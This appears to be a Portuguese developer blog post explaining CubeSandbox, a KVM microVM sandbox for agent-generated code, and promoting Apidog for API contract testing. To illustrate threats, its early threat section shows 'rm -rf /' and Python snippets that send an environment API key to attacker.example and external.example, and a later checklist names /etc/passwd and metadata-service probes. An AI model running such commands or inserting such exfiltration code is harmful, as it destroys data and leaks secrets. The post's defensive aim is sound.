DEV Community

Cover image for CubeSandbox para Agentes de IA: Isolamento Explicado
Lucas
Lucas

Posted on • Originally published at apidog.com

CubeSandbox para Agentes de IA: Isolamento Explicado

Se o seu agente de IA pode escrever código, ele também pode escrever código ruim. Se ele pode chamar ferramentas, também pode chamar a ferramenta errada com argumentos errados. A correção não é apenas “melhorar o prompt”: é criar um limite de isolamento entre a saída do modelo e a máquina que executa essa saída. O CubeSandbox foi criado para essa fronteira: executar código de agentes em ambientes descartáveis, isolados e adequados para fluxos que acessam APIs e dados reais.

Experimente o Apidog hoje

Em resumo

CubeSandbox é um serviço de sandbox de código aberto, isolado por hardware, da Tencent Cloud para executar código gerado por agentes de IA. Cada sandbox recebe seu próprio kernel de sistema operacional convidado via KVM, inicia em cerca de 60 ms e usa menos de 5 MB de sobrecarga de memória, segundo os números publicados pela Tencent. O projeto é licenciado sob Apache 2.0 e é compatível com o SDK E2B.

Use CubeSandbox quando você precisa executar código não confiável gerado por modelo sem expor o host, o sistema de arquivos, credenciais ou rede interna.

Por que agentes de IA precisam de sandbox

Agentes modernos não apenas geram texto. Eles:

  • escrevem scripts Python e executam;
  • raspam páginas web e processam conteúdo não confiável;
  • carregam CSVs e aplicam transformações decididas em tempo de execução;
  • chamam APIs internas, ferramentas e serviços externos.

O problema: esse código geralmente não passa por revisão humana antes de rodar.

Um erro simples pode virar incidente:

rm -rf ./output
Enter fullscreen mode Exit fullscreen mode

Se o agente confundir o diretório de trabalho, isso pode virar:

rm -rf /
Enter fullscreen mode Exit fullscreen mode

Ou, em um cenário de exfiltração:

import os
import requests

token = os.environ.get("API_KEY")
requests.post("https://attacker.example/collect", json={"token": token})
Enter fullscreen mode Exit fullscreen mode

O sandbox reduz o raio de explosão: o agente pode errar dentro de um ambiente descartável, mas não deve conseguir comprometer o host ou vazar dados sensíveis.

Também existe uma segunda camada: APIs e ferramentas. Antes de permitir que um agente chame sua API de pagamento, CRM ou serviço interno, valide o contrato dessas APIs. Uma plataforma como Apidog ajuda a simular, testar e documentar endpoints que agentes vão consumir. Se você está desenhando essa arquitetura, veja também o guia sobre arquitetura de IA agêntica.

O que é CubeSandbox?

CubeSandbox é um sistema de sandbox de segurança para executar código de agentes de IA. A Tencent Cloud abriu o projeto sob licença Apache 2.0 em abril de 2026. A descrição do GitHub resume bem a proposta: “Sandbox Instantâneo, Concorrente, Seguro e Leve para Agentes de IA”.

Ele não é apenas um SDK. É uma pilha de sandbox-as-a-service, escrita principalmente em Rust, que você pode implantar.

A arquitetura usa RustVMM e KVM, a camada de virtualização do kernel Linux usada por diversos hipervisores de nuvem. Segundo a documentação do projeto, os principais componentes são:

  • CubeAPI: gateway REST compatível com a interface de sandbox do E2B.
  • CubeMaster: orquestrador de cluster que agenda sandboxes entre nós.
  • CubeHypervisor e CubeShim: camada KVM que inicializa e gerencia cada microVM.
  • Cubelet e CubeProxy: agentes por nó que executam e roteiam tráfego para sandboxes.
  • CubeVS: camada de rede baseada em eBPF para isolamento de rede entre sandboxes no nível do kernel.

A decisão central de design é: cada sandbox recebe seu próprio kernel convidado. Isso é mais forte que contêineres, que compartilham o kernel do host.

Segundo os números publicados pela Tencent:

  • inicialização a frio em torno de 60 ms em concorrência única;
  • média de 67 ms com P95 em torno de 90 ms sob 50 criações concorrentes;
  • menos de 5 MB de sobrecarga de memória por instância;
  • milhares de sandboxes em um host grande;
  • um servidor de 96 vCPUs suportando mais de 2.000 sandboxes concorrentes.

A Tencent também afirma que o CubeSandbox foi usado em escala dentro da própria infraestrutura e que a MiniMax o utilizou para treinamento de aprendizado por reforço agêntico em ambientes heterogêneos.

Alguns recursos, como rollback de snapshot em nível de evento para checkpoint e restauração de estado, são descritos como ainda em desenvolvimento. Trate isso como roadmap, não como funcionalidade garantida. Valide o estado atual no repositório GitHub do CubeSandbox e na documentação oficial.

Ameaças que você deve isolar

Antes de escolher uma tecnologia, modele o risco. Para agentes de IA, três modos de falha aparecem com frequência.

1. Código gerado incorretamente

O modelo pode gerar código que parece plausível, mas:

  • apaga o diretório errado;
  • entra em loop infinito;
  • consome toda a memória;
  • grava arquivos fora do caminho esperado;
  • instala pacotes inseguros;
  • executa comandos destrutivos.

Exemplo de limite mínimo que você deve impor:

CPU: tempo máximo por execução
Memória: limite por sandbox
Disco: quota por execução
Filesystem: sem acesso ao host
Rede: saída bloqueada ou allowlist
Credenciais: injetadas apenas quando necessário
Tempo de vida: sandbox descartável
Enter fullscreen mode Exit fullscreen mode

2. Chamadas de ferramentas não confiáveis

Agentes chamam ferramentas com base no que o modelo decide em tempo de execução. Se o modelo for induzido por prompt injection em uma página web, documento ou resposta de ferramenta, ele pode:

  • chamar uma ferramenta destrutiva;
  • passar argumentos controlados por atacante;
  • encadear chamadas de API de forma inesperada;
  • ignorar regras do sistema.

Esse é o motivo pelo qual agentes são consumidores de API diferentes de humanos ou aplicações tradicionais. O artigo sobre agentes de IA como novos consumidores de API aprofunda esse ponto.

3. Exfiltração de dados

Um agente com rede aberta e acesso a segredos pode virar canal de vazamento.

Exemplo:

import os
import requests

secret = os.getenv("PAYMENT_API_KEY")

requests.post(
    "https://external.example/log",
    json={"secret": secret}
)
Enter fullscreen mode Exit fullscreen mode

Por isso, isolamento de processo não basta. Você também precisa controlar rede de saída, credenciais e escopo das ferramentas. No CubeSandbox, o CubeVS usa eBPF para aplicar isolamento de rede entre sandboxes.

Para testar esses comportamentos antes da produção, veja como testar agentes de IA que chamam APIs.

Como sandboxes de agentes funcionam

Nem todo sandbox oferece o mesmo nível de isolamento. Para agentes, a escolha impacta segurança, latência e operação.

Processo com seccomp, namespaces e cgroups

Executa o código como um processo restrito do sistema operacional.

Exemplo conceitual:

nsjail \
  --time_limit 10 \
  --rlimit_as 512 \
  --disable_proc \
  -- /usr/bin/python3 script.py
Enter fullscreen mode Exit fullscreen mode

Vantagens:

  • muito leve;
  • inicialização quase instantânea;
  • simples para workloads internas.

Limitações:

  • compartilha o kernel do host;
  • escape de kernel compromete o host;
  • fraco para código arbitrário gerado por modelo.

Use quando você confia parcialmente no código e precisa de baixa sobrecarga.

Contêineres

Contêineres adicionam namespaces, filesystem isolado e limites de recursos.

Exemplo:

docker run --rm \
  --network none \
  --memory 512m \
  --cpus 1 \
  --read-only \
  python:3.12 \
  python script.py
Enter fullscreen mode Exit fullscreen mode

Vantagens:

  • familiar para equipes DevOps;
  • fácil de automatizar;
  • bom ecossistema.

Limitações:

  • compartilha o kernel do host;
  • escapes de contêiner são uma classe real de vulnerabilidade;
  • não é o limite mais forte para código não confiável.

Use para protótipos, workloads internas ou quando o risco é controlado.

MicroVMs

Uma microVM inicializa um kernel convidado mínimo via virtualização de hardware, como KVM.

O código do agente roda dentro de uma VM descartável:

Host Linux
└── KVM
    └── MicroVM por sandbox
        ├── Kernel convidado
        ├── Runtime
        └── Código gerado pelo agente
Enter fullscreen mode Exit fullscreen mode

Vantagens:

  • isolamento forte;
  • kernel dedicado por sandbox;
  • melhor limite para código arbitrário;
  • adequado para multi-inquilino.

Limitações:

  • exige KVM;
  • operação mais complexa que contêiner;
  • cold start historicamente maior, embora implementações modernas reduzam isso.

CubeSandbox entra nessa categoria.

Kernels de aplicação

gVisor segue outro caminho: intercepta syscalls no userspace e implementa uma interface compatível com Linux, evitando comunicação direta da carga de trabalho com o kernel do host.

Vantagens:

  • isolamento forte sem VM completa;
  • boa integração com Kubernetes;
  • útil quando KVM não está disponível.

Limitações:

  • compatibilidade de syscall pode variar;
  • overhead depende da carga;
  • nem todo workload roda sem ajustes.

Comparação rápida

Abordagem Força de Isolamento Inicialização a Frio Sobrecarga Compartilhamento de Kernel Exemplos
Processo + seccomp Baixa Instantâneo Mínima Kernel do host compartilhado Subprocesso restrito, nsjail
Contêineres Média ~dezenas de ms Baixa Kernel do host compartilhado Docker, containerd
MicroVM Alta ~50–150ms Baixa–Média Kernel convidado dedicado CubeSandbox, Firecracker
Kernel de Aplicativo Alta ~dezenas de ms Baixa–Média Interceptado no userspace gVisor
API de Sandbox Hospedada Alta (gerenciada) Varia Gerenciada para você Gerenciada para você E2B, ofertas hospedadas

Não existe vencedor universal. Decida com base em:

  • nível de confiança no código;
  • latência de inicialização aceitável;
  • disponibilidade de KVM;
  • necessidade de multi-inquilino;
  • controle sobre rede e credenciais;
  • preferência por serviço gerenciado ou auto-hospedado.

Onde o CubeSandbox se encaixa

O CubeSandbox tenta ocupar um espaço específico:

isolamento em nível de hardware, cold start rápido o suficiente para fluxos agênticos e operação auto-hospedada.

Comparado a contêineres

Contêineres compartilham o kernel do host. CubeSandbox dá a cada sandbox um kernel convidado próprio.

Isso importa quando o código é:

  • gerado dinamicamente;
  • não revisado;
  • influenciado por dados externos;
  • executado para múltiplos clientes;
  • capaz de chamar ferramentas.

O custo: você precisa de um host Linux x86_64 com KVM. Isso pode ser:

  • bare metal;
  • VM em nuvem com virtualização aninhada;
  • WSL 2 para desenvolvimento local, dependendo do setup.

Se sua plataforma não expõe KVM, considere gVisor ou uma API hospedada.

Comparado a Firecracker

Firecracker é uma base de microVM popular para workloads serverless. Ele fornece os blocos de construção.

CubeSandbox fica mais acima na pilha:

  • orquestrador;
  • gateway REST;
  • API compatível com E2B;
  • isolamento de rede com eBPF;
  • serviço voltado a sandboxes para agentes.

Use Firecracker se você quer montar sua própria plataforma de microVM. Avalie CubeSandbox se quer um serviço de sandbox para agentes com API pronta.

Comparado a E2B e sandboxes hospedados

E2B fornece sandboxes isolados como serviço gerenciado. Você chama uma API, e a infraestrutura é responsabilidade do provedor.

A escolha relevante do CubeSandbox é a compatibilidade com o SDK E2B. A documentação descreve o caminho como uma substituição direta: apontar E2B_API_URL para sua instância Cube auto-hospedada.

Exemplo conceitual:

export E2B_API_URL="https://cube-sandbox.example.com"
export E2B_API_KEY="sua-chave"
Enter fullscreen mode Exit fullscreen mode

A decisão vira:

  • serviço gerenciado: menos operação, menos controle;
  • auto-hospedado: mais controle, mais responsabilidade.

Também foi anunciado suporte nativo ao SDK Python da OpenAI.

O resumo prático: CubeSandbox é uma opção interessante se você precisa de isolamento forte, compatibilidade com E2B e controle operacional. Mas, por ser novo e documentado principalmente pelo fornecedor, faça benchmark com sua própria carga.

Checklist para avaliar CubeSandbox

Antes de adotar, teste estes pontos:

[ ] O host suporta KVM?
[ ] A inicialização a frio atende seu SLA?
[ ] A densidade por host funciona com sua carga real?
[ ] A política de rede bloqueia saída não autorizada?
[ ] Segredos não ficam disponíveis por padrão?
[ ] O sandbox é destruído após cada execução?
[ ] Logs não expõem dados sensíveis?
[ ] O limite de CPU/memória/disco é aplicado?
[ ] APIs acessadas pelo agente têm contrato testado?
[ ] Há observabilidade para falhas e timeouts?
Enter fullscreen mode Exit fullscreen mode

Também meça:

tempo de criação do sandbox
tempo até executar primeiro comando
uso de memória por instância
throughput com N sandboxes concorrentes
latência de rede para APIs internas
comportamento sob timeout
comportamento sob tentativa de exfiltração
Enter fullscreen mode Exit fullscreen mode

Como conectar sandbox com teste de APIs

Sandbox responde a esta pergunta:

“E se o código gerado pelo agente for perigoso?”

Mas não responde a esta:

“E se o agente chamar minha API de forma errada?”

Imagine um agente de viagens:

  1. recebe uma solicitação do usuário;
  2. consulta voos;
  3. calcula preço;
  4. chama uma API de pagamento;
  5. grava o itinerário.

Mesmo que o código rode dentro do CubeSandbox, uma chamada errada para a API de pagamentos ainda pode movimentar dinheiro.

Exemplo de erro:

{
  "amount": 120000,
  "currency": "USD",
  "idempotency_key": "reused-key"
}
Enter fullscreen mode Exit fullscreen mode

O sandbox protege o host. Ele não protege seus sistemas de negócio contra chamadas válidas, porém incorretas.

Por isso, use duas camadas:

  1. Isolamento de execução: código e ferramentas rodam em ambiente descartável.
  2. Validação de contrato: cada API acessível pelo agente é simulada e testada.

Com Apidog, você pode criar mocks de endpoints, retornar respostas determinísticas e validar como o agente reage a cenários de sucesso e erro antes de tocar produção.

Fluxo recomendado:

1. Defina o contrato da API
2. Gere mocks para respostas esperadas
3. Aponte o agente em sandbox para os mocks
4. Execute cenários de sucesso, erro e timeout
5. Observe argumentos enviados pelo agente
6. Corrija prompt, ferramenta ou contrato
7. Rode os mesmos cenários contra staging
8. Só então libere acesso controlado à produção
Enter fullscreen mode Exit fullscreen mode

Para práticas gerais, veja testes de sandbox.

Exemplo de cenários de contrato para agentes

Se um agente chama uma API de pagamento, teste pelo menos:

[ ] pagamento aprovado
[ ] pagamento recusado
[ ] timeout
[ ] resposta 500
[ ] resposta com campo ausente
[ ] moeda inválida
[ ] valor acima do limite
[ ] chave de idempotência repetida
[ ] token expirado
[ ] escopo insuficiente
Enter fullscreen mode Exit fullscreen mode

Exemplo de resposta mockada:

{
  "status": "declined",
  "reason": "insufficient_funds",
  "retryable": false
}
Enter fullscreen mode Exit fullscreen mode

Agora valide se o agente:

  • não tenta repetir indefinidamente;
  • não altera o valor sem autorização;
  • não chama endpoint alternativo indevido;
  • retorna uma mensagem segura ao usuário;
  • registra o erro sem vazar dados sensíveis.

Agentes amplificam divergências de contrato. Um humano percebe quando uma resposta parece estranha. Um agente pode simplesmente agir sobre ela.

Se seus agentes usam Model Context Protocol, veja também como testar servidores MCP com Apidog. E, se você está projetando APIs para esse tipo de consumidor, leia como projetar APIs para agentes de IA.

Casos de uso práticos

Agentes de codificação

Um modelo escreve e executa código para:

  • responder perguntas;
  • transformar dados;
  • gerar gráficos;
  • corrigir arquivos;
  • executar testes.

Esse é o caso clássico para sandbox. O código muda a cada execução e não deve ter acesso ao host.

Interpretadores de código

Se você oferece algo como “execute Python para analisar este CSV”, rode cada execução em um ambiente descartável.

Aplique limites:

CPU: 1 vCPU
Memória: 512 MB
Tempo: 30 segundos
Rede: desabilitada por padrão
Disco: temporário
Persistência: nenhuma
Enter fullscreen mode Exit fullscreen mode

Plataformas multi-inquilino

Se agentes de vários clientes rodam na mesma infraestrutura, isolamento por contêiner pode ser insuficiente. Um kernel dedicado por sandbox cria uma fronteira mais adequada entre inquilinos.

A densidade relatada pelo CubeSandbox é relevante aqui, mas precisa ser validada com sua carga real.

Treinamento com RL agêntico

Treinar agentes com aprendizado por reforço exige muitos rollouts curtos e não confiáveis. Segundo a Tencent, a MiniMax usou CubeSandbox para esse tipo de cenário em ambientes heterogêneos.

Aqui, cold start e overhead por instância impactam diretamente o custo do treinamento.

Agentes de pesquisa e dados

Um agente pode:

  1. buscar conteúdo externo;
  2. interpretar a página;
  3. gerar código;
  4. chamar uma API downstream.

O conteúdo externo pode conter prompt injection. Portanto:

  • parsing e código gerado devem rodar no sandbox;
  • chamadas downstream devem usar mocks primeiro;
  • contratos de API devem ser testados antes de liberar produção.

Esse é o ponto em que testes de contrato de API mais ajudam.

Plugins e extensões não confiáveis

Se usuários podem fornecer código, plugins ou ferramentas que seu agente executa, você está rodando código de terceiros. Nesse caso, uma microVM descartável por execução é uma postura mais segura.

Boas práticas de implementação

Ao integrar sandboxes com agentes, evite começar pelo caso feliz. Comece pelos limites.

1. Bloqueie rede por padrão

Permita apenas destinos necessários:

deny all
allow api.mock.local
allow staging.internal
allow package-registry.example, se necessário
Enter fullscreen mode Exit fullscreen mode

Evite internet aberta para execuções de agente.

2. Não injete segredos automaticamente

Segredos devem ser:

  • escopados;
  • temporários;
  • associados à execução;
  • revogados após uso;
  • omitidos quando a ferramenta não precisa deles.

3. Separe filesystem persistente de temporário

O sandbox deve iniciar limpo. Se precisar persistir artefatos, copie explicitamente para armazenamento controlado após a execução.

4. Defina timeout agressivo

Todo agente deve ter tempo máximo de execução. Loops infinitos são falhas comuns.

exec_timeout: 30s
idle_timeout: 10s
max_retries: 1
Enter fullscreen mode Exit fullscreen mode

5. Registre chamadas de ferramenta

Para cada chamada, registre:

{
  "tool": "create_payment",
  "arguments_schema_valid": true,
  "sandbox_id": "sbx_123",
  "duration_ms": 842,
  "result": "declined"
}
Enter fullscreen mode Exit fullscreen mode

Não registre tokens, senhas ou payloads sensíveis sem mascaramento.

6. Teste comportamento malicioso

Inclua testes como:

[ ] tentativa de ler /etc/passwd
[ ] tentativa de acessar metadata service da nuvem
[ ] tentativa de abrir conexão externa
[ ] tentativa de ler variáveis de ambiente
[ ] tentativa de consumir memória infinita
[ ] tentativa de criar processos em massa
Enter fullscreen mode Exit fullscreen mode

Conclusão

Sandboxing deixou de ser opcional quando agentes começaram a executar código e chamar ferramentas sem revisão humana. CubeSandbox é uma resposta concreta para a parte de isolamento: microVMs com KVM, kernel convidado por sandbox, compatibilidade com E2B e foco em workloads de agentes.

Principais pontos:

  • CubeSandbox é específico para agentes: projeto Apache 2.0 da Tencent Cloud, construído em RustVMM e KVM.
  • O isolamento é o diferencial: kernel dedicado por sandbox é mais forte que contêiner para código arbitrário gerado por modelo.
  • Compatibilidade com E2B reduz troca de SDK: a migração pode ser feita apontando E2B_API_URL para uma instância Cube auto-hospedada.
  • Benchmarks do fornecedor são ponto de partida: valide cold start, densidade e isolamento com sua própria carga.
  • Sandbox não valida APIs: ele protege o host, mas não impede que um agente confuso chame uma API real de forma errada.
  • Combine isolamento com teste de contrato: mocke e teste cada endpoint que o agente pode acessar.

Se seus agentes chamam APIs que você possui ou das quais depende, configure a camada de contrato junto com a camada de isolamento. Baixe o Apidog para simular os serviços acessados por agentes em sandbox e testá-los quanto a esquema, autenticação e comportamento de erro antes de liberar uso em produção.

Top comments (0)